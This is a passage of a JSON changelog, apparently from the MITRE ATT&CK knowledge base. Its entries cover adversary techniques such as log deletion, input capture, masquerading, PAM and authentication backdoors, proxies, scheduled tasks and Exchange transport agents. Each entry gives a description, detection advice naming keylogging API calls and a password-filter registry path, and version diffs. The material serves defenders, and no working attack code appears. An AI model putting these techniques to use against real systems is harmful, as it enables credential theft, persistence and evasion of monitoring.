", "changelog_mitigations": { "shared": [ "M1018: User Account Management", "M1024: Restrict Registry Permissions", "M1038: Execution Prevention" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0011: Module (Module Load)", "DS0017: Command (Command Execution)", "DS0024: Windows Registry (Windows Registry Key Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:30:55.892000+00:00", "modified": "2021-07-27 15:23:52.099000+00:00", "name": "Indicator Removal on Host", "description": "Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1552/003) and /var/log/*.\n\nThese actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1070", "external_id": "T1070" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/93.html", "external_id": "CAPEC-93" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Brad Geesaman, @bradgeesaman", "Ed Williams, Trustwave, SpiderLabs" ], "x_mitre_data_sources": [ "Process: Process Creation", "File: File Deletion", "File: File Modification", "Windows Registry: Windows Registry Key Modification", "Windows Registry: Windows Registry Key Deletion", "Process: OS API Execution", "Command: Command Execution", "Network Traffic: Network Traffic Content", "User Account: User Account Authentication", "File: File Metadata" ], "x_mitre_defense_bypassed": [ "Log analysis", "Host intrusion prevention systems", "Anti-virus" ], "x_mitre_detection": "File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system may require different detection mechanisms.", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Linux", "macOS", "Windows", "Containers" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-07-27 15:23:52.099000+00:00\", \"old_value\": \"2021-04-24 13:35:09.065000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1552/003) and /var/log/*.\\n\\nThese actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.\", \"old_value\": \"Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1552/003) and /var/log/*.\\n\\nThese actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This that may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1552/003) and /var/log/*.\\n \\n-These actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This that may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.\\n+These actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.\"}}}", "previous_version": "1.2", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may delete or alter generated artifacts on a host1Adversaries may delete or alter generated artifacts on a hos
>t system, including logs or captured files such as quarantin>t system, including logs or captured files such as quarantin
>ed malware. Locations and format of logs are platform or pro>ed malware. Locations and format of logs are platform or pro
>duct-specific, however standard operating system logs are ca>duct-specific, however standard operating system logs are ca
>ptured as Windows events or Linux/macOS files such as [Bash >ptured as Windows events or Linux/macOS files such as [Bash 
>History](https://attack.mitre.org/techniques/T1552/003) and >History](https://attack.mitre.org/techniques/T1552/003) and 
>/var/log/*.  These actions may interfere with event collecti>/var/log/*.  These actions may interfere with event collecti
>on, reporting, or other notifications used to detect intrusi>on, reporting, or other notifications used to detect intrusi
>on activity. This that may compromise the integrity of secur>on activity. This may compromise the integrity of security s
>ity solutions by causing notable events to go unreported. Th>olutions by causing notable events to go unreported. This ac
>is activity may also impede forensic analysis and incident r>tivity may also impede forensic analysis and incident respon
>esponse, due to lack of sufficient data to determine what oc>se, due to lack of sufficient data to determine what occurre
>curred.>d.
", "changelog_mitigations": { "shared": [ "M1022: Restrict File and Directory Permissions", "M1029: Remote Data Storage", "M1041: Encrypt Sensitive Information", "T1070: Indicator Removal on Host Mitigation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0002: User Account (User Account Authentication)", "DS0009: Process (OS API Execution)", "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0022: File (File Deletion)", "DS0022: File (File Metadata)", "DS0022: File (File Modification)", "DS0024: Windows Registry (Windows Registry Key Deletion)", "DS0024: Windows Registry (Windows Registry Key Modification)", "DS0029: Network Traffic (Network Traffic Content)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:30:48.323000+00:00", "modified": "2021-08-24 18:21:08.497000+00:00", "name": "Input Capture", "description": "Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "collection" }, { "kill_chain_name": "mitre-attack", "phase_name": "credential-access" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1056", "external_id": "T1056" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/569.html", "external_id": "CAPEC-569" }, { "source_name": "Adventures of a Keystroke", "description": "Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.", "url": "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "John Lambert, Microsoft Threat Intelligence Center" ], "x_mitre_data_sources": [ "Windows Registry: Windows Registry Key Modification", "Driver: Driver Load", "Process: OS API Execution", "Process: Process Creation", "File: File Modification", "Process: Process Metadata" ], "x_mitre_detection": "Detection may vary depending on how input is captured but may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke), monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), and ensuring no unauthorized drivers or kernel modules that could indicate keylogging or API hooking are present.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "Administrator", "SYSTEM", "root", "User" ], "x_mitre_platforms": [ "Linux", "macOS", "Windows", "Network" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-24 18:21:08.497000+00:00\", \"old_value\": \"2020-10-21 01:31:35.760000+00:00\"}}}", "previous_version": "1.2", "changelog_mitigations": { "shared": [], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (OS API Execution)", "DS0009: Process (Process Creation)", "DS0009: Process (Process Metadata)", "DS0022: File (File Modification)", "DS0024: Windows Registry (Windows Registry Key Modification)", "DS0027: Driver (Driver Load)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:30:38.511000+00:00", "modified": "2021-10-18 13:24:52.973000+00:00", "name": "Masquerading", "description": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.\n\nRenaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1036", "external_id": "T1036" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/177.html", "external_id": "CAPEC-177" }, { "source_name": "LOLBAS Main Site", "description": "LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020.", "url": "https://lolbas-project.github.io/" }, { "source_name": "Elastic Masquerade Ball", "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.", "url": "http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf" }, { "source_name": "Twitter ItsReallyNick Masquerading Update", "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019.", "url": "https://twitter.com/ItsReallyNick/status/1055321652777619457" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Oleg Kolesnikov, Securonix", "Nick Carr, Mandiant", "David Lu, Tripwire", "Felipe Esp\u00f3sito, @Pr0teus", "Elastic", "Bartosz Jerzman" ], "x_mitre_data_sources": [ "Image: Image Metadata", "Command: Command Execution", "Service: Service Metadata", "Service: Service Creation", "Scheduled Job: Scheduled Job Metadata", "Scheduled Job: Scheduled Job Modification", "File: File Metadata", "Process: Process Metadata", "File: File Modification" ], "x_mitre_defense_bypassed": [ "Application control by file name or path" ], "x_mitre_detection": "Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\n\nLook for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters\"\\u202E\", \"[U+202E]\", and \"%E2%80%AE\u201d.", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Linux", "macOS", "Windows", "Containers" ], "x_mitre_version": "1.4", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-18 13:24:52.973000+00:00\", \"old_value\": \"2021-04-24 13:24:45.840000+00:00\"}, \"root['x_mitre_contributors'][1]\": {\"new_value\": \"Nick Carr, Mandiant\", \"old_value\": \"Nick Carr, FireEye\"}}}", "previous_version": "1.4", "changelog_mitigations": { "shared": [ "M1022: Restrict File and Directory Permissions", "M1038: Execution Prevention", "M1045: Code Signing", "T1036: Masquerading Mitigation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0003: Scheduled Job (Scheduled Job Metadata)", "DS0003: Scheduled Job (Scheduled Job Modification)", "DS0007: Image (Image Metadata)", "DS0009: Process (Process Metadata)", "DS0017: Command (Command Execution)", "DS0019: Service (Service Creation)", "DS0019: Service (Service Metadata)", "DS0022: File (File Metadata)", "DS0022: File (File Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-11 19:01:56.887000+00:00", "modified": "2021-10-17 14:48:33.990000+00:00", "name": "Modify Authentication Process", "description": "Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "credential-access" }, { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" }, { "kill_chain_name": "mitre-attack", "phase_name": "persistence" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1556", "external_id": "T1556" }, { "source_name": "Clymb3r Function Hook Passwords Sept 2013", "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.", "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/" }, { "source_name": "Dell Skeleton", "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.", "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis" }, { "source_name": "Xorrior Authorization Plugins", "description": "Chris Ross. (2018, October 17). Persistent Credential Theft with Authorization Plugins. Retrieved April 22, 2021.", "url": "https://xorrior.com/persistent-credential-theft/" }, { "source_name": "TechNet Audit Policy", "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.", "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Chris Ross @xorrior" ], "x_mitre_data_sources": [ "Logon Session: Logon Session Creation", "Process: OS API Execution", "Process: Process Access", "File: File Modification", "File: File Creation", "Module: Module Load", "Windows Registry: Windows Registry Key Modification" ], "x_mitre_detection": "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages) and correlate then investigate the DLL files these files reference. \n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nMonitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) \n\nMonitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nMonitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Windows", "Linux", "macOS", "Network" ], "x_mitre_version": "2.0", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 14:48:33.990000+00:00\", \"old_value\": \"2021-04-26 20:08:31.712000+00:00\"}}}", "previous_version": "2.0", "changelog_mitigations": { "shared": [ "M1022: Restrict File and Directory Permissions", "M1025: Privileged Process Integrity", "M1026: Privileged Account Management", "M1028: Operating System Configuration", "M1032: Multi-factor Authentication" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (OS API Execution)", "DS0009: Process (Process Access)", "DS0011: Module (Module Load)", "DS0022: File (File Creation)", "DS0022: File (File Modification)", "DS0024: Windows Registry (Windows Registry Key Modification)", "DS0028: Logon Session (Logon Session Creation)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-06-26 04:01:09.648000+00:00", "modified": "2021-10-17 14:48:33.580000+00:00", "name": "Pluggable Authentication Modules", "description": "Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "credential-access" }, { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" }, { "kill_chain_name": "mitre-attack", "phase_name": "persistence" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1556/003", "external_id": "T1556.003" }, { "source_name": "Apple PAM", "description": "Apple. (2011, May 11). PAM - Pluggable Authentication Modules. Retrieved June 25, 2020.", "url": "https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt" }, { "source_name": "Man Pam_Unix", "description": "die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June 25, 2020.", "url": "https://linux.die.net/man/8/pam_unix" }, { "source_name": "Red Hat PAM", "description": "Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES (PAM). Retrieved June 25, 2020.", "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules" }, { "source_name": "PAM Backdoor", "description": "zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June 25, 2020.", "url": "https://github.com/zephrax/linux-pam-backdoor" }, { "source_name": "PAM Creds", "description": "Fern\u00e1ndez, J. M. (2018, June 27). Exfiltrating credentials via PAM backdoors & DNS requests. Retrieved June 26, 2020.", "url": "https://x-c3ll.github.io/posts/PAM-backdoor-DNS/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Scott Knight, @sdotknight, VMware Carbon Black", "George Allen, VMware Carbon Black" ], "x_mitre_data_sources": [ "File: File Modification", "Logon Session: Logon Session Creation" ], "x_mitre_detection": "Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nLook for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "root" ], "x_mitre_platforms": [ "Linux", "macOS" ], "x_mitre_version": "2.0", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 14:48:33.580000+00:00\", \"old_value\": \"2021-04-20 20:12:34.422000+00:00\"}}}", "previous_version": "2.0", "changelog_mitigations": { "shared": [ "M1026: Privileged Account Management", "M1032: Multi-factor Authentication" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0022: File (File Modification)", "DS0028: Logon Session (Logon Session Creation)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:31:08.479000+00:00", "modified": "2021-08-30 19:16:11.648000+00:00", "name": "Proxy", "description": "Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.\n\nAdversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "command-and-control" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1090", "external_id": "T1090" }, { "source_name": "Trend Micro APT Attack Tools", "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.", "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/" }, { "source_name": "University of Birmingham C2", "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Jon Sheedy", "Heather Linn", "Walker Johnson" ], "x_mitre_data_sources": [ "Network Traffic: Network Traffic Flow", "Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Content" ], "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nConsider monitoring for traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)).", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Linux", "macOS", "Windows", "Network" ], "x_mitre_version": "3.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-30 19:16:11.648000+00:00\", \"old_value\": \"2020-10-21 17:54:28.531000+00:00\"}, \"root['x_mitre_contributors'][0]\": {\"new_value\": \"Jon Sheedy\", \"old_value\": \"Brian Prange\"}}}", "previous_version": "3.1", "changelog_mitigations": { "shared": [ "M1020: SSL/TLS Inspection", "M1031: Network Intrusion Prevention", "M1037: Filter Network Traffic" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0029: Network Traffic (Network Connection Creation)", "DS0029: Network Traffic (Network Traffic Content)", "DS0029: Network Traffic (Network Traffic Flow)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:30:46.977000+00:00", "modified": "2021-10-15 14:36:26.445000+00:00", "name": "Scheduled Task/Job", "description": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges).", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "execution" }, { "kill_chain_name": "mitre-attack", "phase_name": "persistence" }, { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1053", "external_id": "T1053" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/557.html", "external_id": "CAPEC-557" }, { "source_name": "TechNet Task Scheduler Security", "description": "Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016.", "url": "https://technet.microsoft.com/en-us/library/cc785125.aspx" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Prashant Verma, Paladion", "Leo Loobeek, @leoloobeek", "Travis Smith, Tripwire", "Alain Homewood, Insomnia Security" ], "x_mitre_data_sources": [ "File: File Creation", "Container: Container Creation", "Scheduled Job: Scheduled Job Creation", "Command: Command Execution", "File: File Modification", "Process: Process Creation" ], "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", "x_mitre_effective_permissions": [ "SYSTEM", "Administrator", "User" ], "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "Administrator", "SYSTEM", "User" ], "x_mitre_platforms": [ "Windows", "Linux", "macOS", "Containers" ], "x_mitre_remote_support": true, "x_mitre_version": "2.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 14:36:26.445000+00:00\", \"old_value\": \"2021-04-20 16:31:11.405000+00:00\"}}}", "previous_version": "2.1", "changelog_mitigations": { "shared": [ "M1018: User Account Management", "M1026: Privileged Account Management", "M1028: Operating System Configuration", "M1047: Audit", "T1053: Scheduled Task Mitigation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0003: Scheduled Job (Scheduled Job Creation)", "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0022: File (File Creation)", "DS0022: File (File Modification)", "DS0032: Container (Container Creation)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2019-12-12 15:08:20.972000+00:00", "modified": "2021-10-18 17:05:44.321000+00:00", "name": "Transport Agent", "description": "Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. \n\nAdversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary. ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "persistence" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1505/002", "external_id": "T1505.002" }, { "source_name": "Microsoft TransportAgent Jun 2016", "description": "Microsoft. (2016, June 1). Transport agents. Retrieved June 24, 2019.", "url": "https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help" }, { "source_name": "ESET LightNeuron May 2019", "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "ESET", "Christoffer Str\u00f6mblad" ], "x_mitre_data_sources": [ "File: File Creation", "Application Log: Application Log Content" ], "x_mitre_detection": "Consider monitoring application logs for 